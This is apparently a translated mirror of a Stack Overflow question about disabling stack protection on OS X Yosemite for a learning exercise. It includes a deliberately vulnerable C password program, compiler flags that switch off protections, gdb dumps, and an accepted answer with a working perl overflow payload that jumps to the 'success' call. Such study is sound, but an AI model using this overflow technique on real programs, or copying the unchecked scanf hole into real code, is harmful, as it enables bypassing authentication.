c - OS X Yosemite 上的堆栈崩溃?

标签 c gcc osx-yosemite aslr stack-smash

我无法弄清楚如何在 OS X 10.10.5 (Yosemite) 上禁用堆栈保护。我一直在网上从各种线程中拼凑出有希望的 gcc 标志,但到目前为止还没有设法禁用保护。我目前正在编译我的程序:

gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -fno-sanitize=address -D_FORTIFY_SOURCE=0 -Wl,-no_pie -o program program.c

但是当我尝试破坏堆栈时,我出现了段错误。

我在 Red Hat Enterprise Linux Server 7.2 (Maipo) 上尝试了相同的程序,在适当调整内存地址差异后,在编译后粉碎堆栈没有问题:

gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -o program program.c

还值得注意的是,与大多数 Mac 一样,我机器上的 gcc 是 clang 的符号链接(symbolic link)(Apple LLVM 版本 7.0.0 (clang-700.0.72))。

如何禁用 Yosemite 的堆栈保护?


其他详细信息

我正在使用的虚拟程序是:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int authenticate() {
  char password[10];
  printf("Enter password: ");
  scanf("%s", password);
  return strcmp(password, "1234567890") == 0;
}

void success() {
  printf("Access granted\n");
  exit(0);
}

void failure() {
  printf("Access denied\n");
  exit(1);
}

int main(int argc, char** argv) {
  if (authenticate()) {
    success();
  } else {
    failure();
  }
}

当我运行otool -tv 程序时,我注意到以下内容:

我想要跳转到的success例程位于地址0x00001e70

我们通常在身份验证后返回的指令位于地址0x00001efe

当我在输入虚拟密码“xxxxxxxxxx”并使用 x/30xb &password 检查缓冲区后运行 gdb 时,我观察到:

0xbffffc32: 0x78    0x78    0x78    0x78    0x78    0x78    0x78    0x78
0xbffffc3a: 0x78    0x78    0x00    0x00    0x00    0x00    0x00    0x00
0xbffffc42: 0x00    0x00    0xfc    0xfc    0xff    0xbf    0x68    0xfc
0xbffffc4a: 0xff    0xbf    0xfe    0x1e    0x00    0x00

我们想要将第 27 个 0xfe 字节覆盖为 0x70

当我尝试按如下方式粉碎堆栈时:

printf "xxxxxxxxxxxxxxxxxxxxxxxxxx\x70" | ./program # 26 bytes of junk, followed by 0x70

我遇到了段错误。

最佳答案

OS X ABI 要求系统调用(例如成功退出的调用)从 16 字节对齐的堆栈发出。当你跳转到成功时,你会减少 4 个字节,因为堆栈上没有另一个返回地址(即,你应该调用该函数)

解决此问题的方法是跳转到更高堆栈帧中对 success 的调用。跳转到我的主要作品:

(gdb) disas main
Dump of assembler code for function main:
   0x00001ed0 <+0>: push   %ebp
   0x00001ed1 <+1>: mov    %esp,%ebp
   0x00001ed3 <+3>: sub    $0x18,%esp
   0x00001ed6 <+6>: mov    0xc(%ebp),%eax
   0x00001ed9 <+9>: mov    0x8(%ebp),%ecx
   0x00001edc <+12>:   movl   $0x0,-0x4(%ebp)
   0x00001ee3 <+19>:   mov    %ecx,-0x8(%ebp)
   0x00001ee6 <+22>:   mov    %eax,-0xc(%ebp)
   0x00001ee9 <+25>:   call   0x1df0 <authenticate>
   0x00001eee <+30>:   cmp    $0x0,%eax
   0x00001ef1 <+33>:   je     0x1f01 <main+49>

   0x00001ef7 <+39>:   call   0x1e60 <success>

   0x00001efc <+44>:   jmp    0x1f06 <main+54>
   0x00001f01 <+49>:   call   0x1e90 <failure>
   0x00001f06 <+54>:   mov    -0x4(%ebp),%eax
   0x00001f09 <+57>:   add    $0x18,%esp
   0x00001f0c <+60>:   pop    %ebp
   0x00001f0d <+61>:   ret    

然后返回call 0x1ef7指令:

$ perl -e 'print "P"x26, "\xf7\x1e"' | ./stack
Enter password: Root access has been granted
$

关于c - OS X Yosemite 上的堆栈崩溃?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36763711/

相关文章:

c - 改变 objective-c 标准有什么用吗?

c++ - 无法在 clion 中运行任何程序

c++ - 在 QtCreator 中启动应用程序时出现严重问题

ios - OS X Yosemite 使用 XCode5 代码签名错误提交应用程序

c - 如何从结构页中获取关联数据的物理地址?

c - 主函数的返回类型

c - 在C程序中包含ffmpeg

objective-c - Mac OS X 应用程序在其窗口没有焦点时速度变慢

c - 将数据从串行端口传输到文本文件

c++ - 使用 gSoap 的异步、确认、点对点连接